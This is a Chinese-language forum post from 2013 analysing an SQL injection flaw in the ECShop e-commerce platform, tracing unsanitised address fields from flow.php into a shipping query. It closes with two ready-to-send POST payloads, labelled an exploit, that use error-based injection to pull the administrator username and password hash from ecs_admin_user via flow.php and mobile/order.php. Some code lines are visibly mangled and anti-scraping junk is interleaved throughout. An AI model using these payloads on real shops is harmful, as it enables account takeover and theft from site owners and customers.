找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1969|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
% M' \8 Z$ q+ D8 p7 |( ]
9 ?  w, Q5 Z8 t# v' c$ j    漏洞关键文件:1 j5 G4 j$ i  l8 U

* b6 l& m7 h  k7 N4 g* v4 M    /includes/lib_order.php
0 C3 L4 Y% D% L& N! U) Z- i
- }, b6 q  m1 @6 m5 S    关键函数:9 \' J  g: P0 v: W

- D3 v2 T+ W% p3 B. ^% o
6 L1 Z* l# y2 ?  W# P- Q; o( Z, W' L
01     function available_shipping_list($region_id_list)
  p9 {3 x$ ?4 D0 Z. b. @) t6 C1 n1 N, W! W
02 {
8 b8 G5 F0 `" A4 h: f) v9 g* |6 [/ l% U1 V* d5 y4 l
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . - ]2 J( w) C' C1 R& e

3 ?9 x" I" E% X" R! m04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
2 H/ J4 P/ d- w' i7 A) l
/ ]3 o0 M+ Y% ~5 p& I05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
4 v/ M7 n! E, k8 N
4 g. R9 K7 T" i06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . , h) Z8 f3 t. K* Q% g) @1 {, L  n

6 z% t; M0 h. I; o07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
7 `: o* n; N# ?, U) @6 J# `* a" D
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
' d+ r5 B% M0 T! Z; n' P: k: l+ n1 H
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; . {2 b& J, C" F

  b5 k; ~; ~5 \- \10   
% S, l% G& ?3 x5 _1 U% i2 _' P! [" ?7 F. b
11     return $GLOBALS['db']->getAll($sql); 9 d' W1 y8 T# n% T

1 m, O2 |: x) z/ p7 h( T12 } 4 N/ l$ y" Q" |# H+ _
" x8 P: h+ @- N
显然对传入的参数没有任何过滤就带入了查询语句。7 ~2 K. T* q" ?0 S" G$ R# k
( q- ]8 ]$ F6 t9 e  W$ D5 N
下面我们追踪这个函数在flow.php中:) q, \& X2 @) @3 c
第531行:   - R  X; S* q/ v5 m3 W6 i

; |; j, ]9 ]3 d" N0 a( U- O9 H& C1 $shipping_list     = available_shipping_list($region);   p7 S* x1 K* E  Y7 H$ C* R% L/ M
. C- v, b4 G5 o3 w7 t+ X+ ?
( i4 i- E* G" j3 Y4 r7 |

% x; U8 ^" b) {  x# z
9 b% F* {# ~6 y- N
+ }8 q! o# `$ `! P8 j再对传入变量进行追踪:9 l* m3 H/ U' D3 K( N# U0 V
% @5 N0 i5 n- }% B6 j; C: ?* j
第530行:    . O1 b1 Q- a3 Y& J: l
. D) @9 z" \6 d
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); # d/ r4 a3 \9 @" d

7 l0 Z6 Z- k1 C$ n: n, z
7 q  d7 N/ ?- ^5 x( F, C$ W0 N- y; }0 B: q" ^% A

& i) J0 H9 R, x$ T9 w- L" _* l8 L5 o, H2 {6 F1 m/ T) p' i0 v7 I' Z
第473行:        
; `% H$ R& L  p( x# y$ \: }& z8 \! L
1 $consignee = get_consignee($_SESSION['user_id']);
- P" l4 h/ P1 o
+ V# D' v  J, Y7 N# U& p% {) ^到了一个关键函数:
5 i6 L+ l( L+ c* b4 n8 B2 D; T7 }* t9 Z& k. x9 ?
/includes/lib_order.php
7 s- @% L2 E% g7 b8 A' J
: w% ^7 K( [# a# u9 |  ^3 j; w 5 s* }6 }2 C1 V- Z

9 h1 f! H, J6 w. {0 C' C9 ?1 O: O
& n* w7 B) W! a: f8 x% H
3 D2 P. p+ {' f, v& ?  ]# U01 function get_consignee($user_id) ) R8 H2 P# C* u# e
$ j0 d+ Q! G3 r, f2 r( o
02 { 2 x3 e* L* `! v+ {- B8 c; G8 \# v

1 B3 W, ^* V* w03     if (isset($_SESSION['flow_consignee']))
& f# {" r+ G1 p1 v0 u9 `0 b- R+ i8 U1 a' T0 C+ f! H
04     {
6 c0 E3 h  ^2 P. Y2 z3 T, T0 P1 Y# n( U
05         /* 如果存在session,则直接返回session中的收货人信息 */
; S& D9 ^4 W- f, D: x( |
+ B' z4 \" d( I$ F9 |$ @6 }06   
7 m) a5 M9 s3 |& l2 o- D" i% D* f9 F2 Q2 ^# N7 ?: {0 Z6 Q, D6 p
07         return $_SESSION['flow_consignee'];
& f5 B7 Z8 u, V; R
9 O- F. j3 Q+ }9 ]8 l- R08     } + M- s9 `4 D* u% W: m: K7 m: s8 N8 A
# g! Y, l% h. j  @
09     else . V! |( T% ]4 C( r% H
& v6 N* ?" ~; Q7 y. A8 f
10     { : O+ Z2 {5 q1 |5 s. v

- x3 C  g, q3 P, e$ f" q; z% i11         /* 如果不存在,则取得用户的默认收货人信息 */
7 \- A" n3 x. c* g1 |4 w6 M- M, F8 h8 C
12         $arr = array();
( J; }8 c) h; T! A9 ]. |7 m1 y( d# f5 _, }/ N0 Q
13   
" J2 A, o0 ?9 |( j% b+ E+ `( l  J" m7 e+ P9 `- f( Y4 B0 c, X7 D# x
14         if ($user_id > 0)
  `* b- h( T6 S: q. B8 q6 P/ e5 v/ r7 L% K3 f2 E+ a; P5 I0 ]1 I5 ^
15         {
  j* i1 m$ e) Y5 b8 m: f( m) k& u; r  x$ j* s# a
16             /* 取默认地址 */ 8 q3 h- S1 z" s+ I% K! I

# @! z6 y4 H; k17             $sql = "SELECT ua.*". . N8 Q1 k( x' F* v
2 W  v$ L, P  Y- t. ]% D7 z4 c+ l6 Y
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
$ W  K$ B" v4 E# o; \5 J
5 N: a- J) G: j% d19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
% D5 f! X% t: r, Z9 v4 `& c: k
0 P: @4 C% |( j- |20   ' V/ J! e3 N9 I8 k* @0 P( {
2 O" P1 n( o2 e  o6 }; u/ v/ N
21             $arr = $GLOBALS['db']->getRow($sql); 0 o4 N- i9 v* i, E

3 U9 k: C: H5 }8 M3 k# V5 H22         }
- K, P1 j$ O2 ^( n
; k- g" x) R2 _23   
# }8 o/ c% @6 d
5 s( k/ n/ l( C7 h24         return $arr;
+ W. L" t" o, Z$ E/ W7 H
# R; T2 s5 _& K, i25     } 8 d4 L, a8 t' @2 l6 u5 N
2 s$ d6 A- [4 O7 }# @
26 }
* a3 q: N% N$ A4 O% m" W0 a. n6 L% w5 z+ i2 j! _- O8 D5 W/ |
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
+ K% d# I+ r, I- y7 T, l
2 q# }2 T& |/ J" V2 \$ o 6 Y) b8 p2 P1 x/ w" @8 P, B% u

0 p9 N. ]+ z6 g关键点:( z3 S  B7 c4 N! I; Z

1 X' Q& z( t* e, z第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
5 ?. f5 i; K# m6 H1 T- P7 h# t9 Q1 @) v6 D
这里对传入参数反转义存入$_SESSION中。
; i( K7 }  l0 w0 F2 h% y& l/ K4 S3 d5 L
9 Z3 ~9 U3 g! R  }5 M

$ M, Y% ]# G# o8 H; W: t然后看下:
9 U% f$ Z2 k- g. B  k0 i0 e5 }! A. }2 q- d4 I5 I' ^
' ^, o: u8 K7 X1 a2 S7 b

/ r  F% L. y, M    ) W- I, ~3 O2 x( g  ^2 Y, V

4 E# A9 b/ a4 ]3 P$ m1 t: n" U8 ?01 $consignee = array( " L$ U! B2 \3 Q+ e& e

' C8 Z: f  o+ X6 o+ o02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 5 p  v% C+ n2 X3 P  f1 D
' w0 y8 R1 e% S- ?8 f
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), & k; v- P# s  H8 ~% g
. g- Q0 o" i( W
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 0 s1 Q* v& F4 `3 D

7 S, |. P3 ]+ ]3 H* o! a* ]05         'province'      => empty($_POST['province'])   ? '' _POST['province'], ' |, B% X, `0 V$ a- @( S9 }

- j* o  _& m; P1 }1 o* L, C06         'city'          => empty($_POST['city'])       ? '' _POST['city'], . P. G$ g) y* N6 y' d
+ L" P9 M. t9 o
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], & B* y0 {7 s. H  m% k) a
; z0 y7 `# s* C
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], ( u9 ?4 c" a0 v$ K
, |0 D$ s4 o+ q1 V6 n& W
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 6 C$ i( X. m; D4 M
$ F; h* I6 W: u! W; M& j
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), ' ~( N) z% _: |; H
. w( E( b6 W  _
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
& t9 k2 K$ _3 T/ E8 z1 U# a* }3 U4 {2 `: I  x: l6 N5 P
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 4 X7 y! I8 \9 f3 Z4 b' U, X4 \
0 t% x# }; c" B$ L+ E4 I/ n
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
2 H2 ]0 s+ S5 `) n8 g4 O/ X% V8 y8 n
& ]2 {/ ^% u: v9 t. O14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
! T& M  n; j6 `, q5 V$ F5 T5 z' {  b. ]1 A; Y! T. `/ H% \
15     );
& c2 m& m! G6 N# d3 {9 _( j) {" v4 y$ m- w
好了注入就这样出现了。$ Z$ ?& v+ z3 h2 J$ ?
$ T; Z5 y. |* n; I; R
==================9 L9 D5 q* k' y' r; {5 i

' b3 M5 T* B' ?' b注入测试:
) d$ U  b( K$ I% `4 [3 x( {
3 m# P" P" I$ y环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 j+ b* S6 A+ P1 _3 J& |! N  k& Z7 B3 K$ I$ G  B! @
测试程序:ECShop_V2.7.3_UTF8_release1106
0 z- b/ Q0 D& V. P) S1 K4 N0 c/ a& Z7 F$ a, o1 ?
# s% @) [: @7 H. I8 S' B4 o3 ~& E* ^& r
/ R/ e+ m" X0 u( ?- Y  u
1.首先需要点击一个商品加入购物车8 W, \, G" r% g9 p2 i" }
1 r- n# l+ Z% N9 _7 q8 C( {
2.注册一个会员帐号
& \, x# N1 ^; [9 Q  e3 i$ @% q: ~$ L' u& ?$ i
3.post提交数据2 x4 c' i. ?9 w) {9 I5 N3 G

  ~  L( ?+ e  h" u' H, ^2 _
1 `. t7 H. ]$ d: l3 K
& A% J3 J/ w3 V8 x' B5 I3 T1 http://127.0.0.1/ecshop/flow.php + F/ x; I8 G. Z+ H
8 p$ w3 I9 F/ w$ x% U7 E
2   4 J0 {$ V) `' }9 A

: l7 G& F) d0 O( o& O+ K3 M. |' ?# O& ]3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 4 `! e$ @7 {  ?. Y4 C& t
举一反三,我们根据这个漏洞我们可以继续深入挖掘:/ z% w! m' l, j5 D
, i3 d' q, ?: @( ~; _3 {8 w- Y2 x+ v3 P
我们搜寻关键函数function available_shipping_list()' ^; v2 b# m5 K! E# A1 }
; G+ w6 `9 r( k) V
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
! D! X1 e* d! [; R) i. e6 e8 f4 c5 m6 J
利用exp:6 z: h8 l  c  x9 F8 z

/ b+ Z1 Y( A+ h  b' ?# D1.点击一个商品,点击购买商标# A0 r9 v& N* E
5 Y; ]* I3 X# |7 s' k3 g2 k) t
2.登录会员帐号
/ k5 a$ W" A6 s6 F/ N
8 g5 s9 o; v2 \  P" i2 |3.post提交:  O% y* h0 e2 ?& y5 q( b: F

( W' Y( A  o. whttp://127.0.0.1/ecshop/mobile/order.php( p2 j5 ~+ _, u: P1 y
% F' H/ O4 D$ W( Q1 {) N6 @+ N- F$ ~( i

4 C8 Z* ~, e' V0 \. h  l- q& G  W
7 U' s$ L5 I* R0 wcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
0 `, C* h& s0 c# ^; \+ }
0 M3 L+ j! [: z% j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表